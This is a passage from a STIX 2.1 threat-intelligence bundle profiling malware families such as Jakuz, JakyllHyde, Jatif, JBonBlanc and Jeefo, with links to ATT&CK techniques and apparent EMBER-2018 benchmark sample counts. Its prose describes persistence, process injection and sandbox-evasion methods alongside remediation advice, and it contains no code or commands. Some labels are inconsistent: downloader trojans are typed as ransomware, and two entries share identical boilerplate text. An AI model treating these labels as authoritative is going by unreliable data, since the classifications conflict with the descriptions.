        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fcc472c-89bb-5a81-9c5d-e2fb1647a0a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bd8fc0-a065-5132-bdd3-ae9a8dc04a84",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiks exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1c7bd67-b889-5a2b-94e6-b37f8958b807",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bd8fc0-a065-5132-bdd3-ae9a8dc04a84",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiks exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--097e9e61-0345-5312-b5a7-426a4f29df66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bd8fc0-a065-5132-bdd3-ae9a8dc04a84",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiks exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7cb589d-879f-5ef4-8181-cc3acafd4b6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bd8fc0-a065-5132-bdd3-ae9a8dc04a84",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiks exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9003ef93-488d-5745-9738-7d9be715db77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0bd8fc0-a065-5132-bdd3-ae9a8dc04a84",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jaiks exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--42d2b664-1368-5d86-81dc-b335f5317399",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jakuz",
      "description": "<h3>Executive Summary</h3>\nJakuz is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nJakuz is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Jakuz operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Jakuz ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Jakuz receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Jakuz infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Jakuz executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Jakuz frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Jakuz",
        "Downloader.Jakuz",
        "Win32/Jakuz"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jakuz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jakuz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f29ee5e-661d-5069-8356-ddb3b5ace2f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42d2b664-1368-5d86-81dc-b335f5317399",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jakuz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2dc26c44-db26-577a-ad2d-f34e54f24617",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42d2b664-1368-5d86-81dc-b335f5317399",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jakuz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8359cbc3-663b-541e-b78b-5dcbf06520ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42d2b664-1368-5d86-81dc-b335f5317399",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jakuz exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c62707f1-5271-584c-a113-913c96f2beb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jakyllhyde",
      "description": "<h3>Executive Summary</h3>\nJakyllHyde (a portmanteau of Jekyll and Hyde) is a highly evasive, two-faced malware family known for its polymorphic characteristics and split-personality execution flow. It is designed to present a completely benign facade during security analysis while delivering a destructive payload when deployed in a production environment.\n\n<h3>Evasion Tactics and Execution Flow</h3>\nJakyllHyde represents a masterclass in anti-analysis and sandbox evasion. The malware derives its name from its operational methodology:\n<ul>\n<li><strong>The \"Jekyll\" Phase (Evasion):</strong> Upon initial execution, the malware conducts exhaustive environmental checks. It looks for indicators of a virtual machine (VMware, VirtualBox drivers), debugging tools, or specific user activity (e.g., checking if the mouse has moved recently or if there are enough files in the \"Recent\" documents folder). If it suspects it is in a sandbox, it behaves like a harmless, benign application\u2014often doing nothing more than writing a harmless text file or simply terminating cleanly.</li>\n<li><strong>The \"Hyde\" Phase (Execution):</strong> If the environmental checks pass (indicating a real, vulnerable user endpoint), the malware dynamically unpacks its true payload. This payload varies by campaign but is frequently a potent info-stealer or a downloader for ransomware.</li>\n</ul>\nThis split behavior allows JakyllHyde to bypass automated email gateways and static signature-based detection systems with ease.\n\n<h3>Security Implications</h3>\nJakyllHyde is incredibly dangerous because it provides a false sense of security. Security analysts or automated systems may analyze the file, observe the benign \"Jekyll\" behavior, and incorrectly classify the file as safe, allowing it to penetrate the network perimeter.\n\n<h3>Defense and Mitigation</h3>\n<ul>\n<li><strong>Advanced Behavioral Sandboxing:</strong> Utilize \"bare-metal\" sandboxing or next-generation sandboxes designed specifically to mimic real human interaction and obscure virtualization markers to trick the malware into its \"Hyde\" phase.</li>\n<li><strong>Continuous Endpoint Monitoring (EDR):</strong> Because initial static analysis may fail, robust EDR is essential to monitor the ongoing behavior of the process post-execution. EDR can detect the delayed unpacking or sudden malicious API calls that occur when the \"Hyde\" payload finally activates.</li>\n<li><strong>Threat Intelligence Sharing:</strong> Rapidly share Indicators of Compromise (IOCs) related to the unpacked \"Hyde\" payload across the security community, as the initial dropper hash will likely change rapidly due to polymorphism.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.JakyllHyde",
        "Evasive.JakyllHyde",
        "Win32/JakyllHyde"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jakyllhyde",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jakyllhyde"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1d3e217-f74c-5d79-83f3-6149853d9cf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c62707f1-5271-584c-a113-913c96f2beb6",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jakyllhyde exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6febab8-da36-5b7c-801a-80aca4a6f2a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c62707f1-5271-584c-a113-913c96f2beb6",
      "target_ref": "attack-pattern--26191162-93c9-53a1-af89-8cd060a43fbb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jakyllhyde exhibits technique T1497.002 (User Activity Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f85ae41-21af-5ac6-bf40-5e396d9a1957",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c62707f1-5271-584c-a113-913c96f2beb6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jakyllhyde exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--13f98717-9ff5-56ea-87d1-d9f2c8745323",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jatif",
      "description": "Trojan:Win32/Jatif is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jatif</b><br>To an end-user, a Jatif infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jatif is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jatif is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jatif frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jatif reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jatif",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jatif"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d36f7c9-d553-5da4-aa52-d540e7ff6aed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13f98717-9ff5-56ea-87d1-d9f2c8745323",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jatif exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--debc8036-e0a3-5f7a-b62d-1dc044d80d0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13f98717-9ff5-56ea-87d1-d9f2c8745323",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jatif exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8afc0656-b75b-5f47-b41a-411c5fd4c101",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13f98717-9ff5-56ea-87d1-d9f2c8745323",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jatif exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91916956-b58a-5da4-b5ef-030b0e56c14a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13f98717-9ff5-56ea-87d1-d9f2c8745323",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jatif exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d693b48b-135c-584d-b9dc-d2f4520a1f98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13f98717-9ff5-56ea-87d1-d9f2c8745323",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jatif exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b78665b7-e3e6-5d24-919d-453747c6ef13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jawego",
      "description": "Jawego (tracked across security vendor signatures as Adware:Win32/Jawego, PUA:Win32/Jawego, and Adware.Jawego) is an aggressive adware and browser-hijacking framework active since 2015. Typically masquerading as a media player helper, format converter, or utility assistant, Jawego infiltrates Windows endpoints via third-party software bundlers and deceptive download portals. Once installed, Jawego hooks major web browsers, modifies browser shortcut launch targets (.lnk), injects intrusive sponsored banners into visited websites, and redirects user search queries to commercial advertising networks to generate pay-per-click revenue. (Observed samples in benchmark: 32)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Jawego",
        "PUA:Win32/Jawego",
        "Trojan.Win32.Jawego",
        "Win32/Jawego",
        "Adware.Jawego",
        "Adware:Win32/Jawego.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jawego",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jawego"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bd38a738-cc34-52d0-983b-92bf8fe88f1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jbomi",
      "description": "Trojan:Win32/Jbomi is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Jbomi</b><br>To an end-user, a Jbomi infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Jbomi is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Jbomi is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Jbomi frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Jbomi reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jbomi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jbomi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fe0c0fe-877a-5227-b77c-ceb96b10dbbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd38a738-cc34-52d0-983b-92bf8fe88f1d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbomi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97c5138f-e88d-565e-9a19-57bf22807f9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd38a738-cc34-52d0-983b-92bf8fe88f1d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbomi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76527c73-2441-55bd-a84c-4567878d1650",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd38a738-cc34-52d0-983b-92bf8fe88f1d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbomi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a027db01-7217-5826-aa5b-4ab09ce70bc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd38a738-cc34-52d0-983b-92bf8fe88f1d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbomi exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4503113-4f24-56ff-bcb9-d324534e0f24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bd38a738-cc34-52d0-983b-92bf8fe88f1d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbomi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--89df3db7-338d-5882-89c0-bfb83d7dc12c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jbonblanc",
      "description": "JBonBlanc (cataloged across security software as Trojan:Win32/JBonBlanc, Backdoor.Win32.JBonBlanc, and Trojan.JBonBlanc) is a legacy French-authored Delphi remote access backdoor trojan developed during the early-to-mid 2000s cybercrime era. Operating as an interactive remote administration implant, JBonBlanc opens custom TCP listening ports, connects to remote C2 controllers, and allows malicious operators to manipulate filesystem objects, log keystrokes, terminate security processes, and execute remote shell commands on infected Windows machines.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/JBonBlanc",
        "Backdoor.Win32.JBonBlanc",
        "Trojan.JBonBlanc",
        "Win32/JBonBlanc.RAT",
        "Backdoor.JBonBlanc"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jbonblanc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jbonblanc"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ee42520-7dff-5d71-aaf1-4014e38a7933",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89df3db7-338d-5882-89c0-bfb83d7dc12c",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbonblanc exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc3a68a1-b05f-5939-80c7-ed8268d4c8a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89df3db7-338d-5882-89c0-bfb83d7dc12c",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbonblanc exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e364905-c8f4-5843-8fca-acc1ee0e0642",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89df3db7-338d-5882-89c0-bfb83d7dc12c",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbonblanc exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e18a714-9b32-55c2-a4d8-5555f2a47008",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89df3db7-338d-5882-89c0-bfb83d7dc12c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbonblanc exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a97e9ac5-35a2-5f9e-a42f-d6784663e8eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--89df3db7-338d-5882-89c0-bfb83d7dc12c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jbonblanc exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--941554dc-9818-5d8f-b36a-18651af6d978",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Jeefo",
      "description": "Jeefo (also known as Hidrag, and cataloged in security vendor encyclopedias as Virus:Win32/Jeefo.A, PE_JEEFO.A, and Virus.Win32.Hidrag.a) is a classic parasitic Portable Executable (PE) file infector that first emerged in 2003. Known for its persistent infection routine, Jeefo targets 32-bit Windows executable files (.exe) that meet or exceed a specific size threshold of 102,400 bytes. When an infected program is launched, the viral code executes first, installs a background Windows service (frequently named 'PowerManager' and executing svchost.exe from the Windows directory), and systematically scans all local hard drives, mapped network shares, and removable storage media for executable files to infect. The virus appends approximately 36,352 bytes of polymorphic, encrypted viral code to the end of target files and redirects the PE entry point. When an infected host file is executed, Jeefo decrypts the original application in memory and launches it, allowing the legitimate program to appear functional while continuing viral propagation in the background. (Observed samples in benchmark: 213)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Jeefo.A",
        "PE_JEEFO.A",
        "Virus.Win32.Hidrag.a",
        "W32/Jeefo",
        "Win32.Jeefo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Jeefo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/jeefo"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce599420-ed08-5337-8e7c-ef372eb2bfac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--941554dc-9818-5d8f-b36a-18651af6d978",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Jeefo exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12eaa581-bf55-5188-8dd6-21d8a7da284a",
      "created": "2026-01-01T00:00:00.000Z",
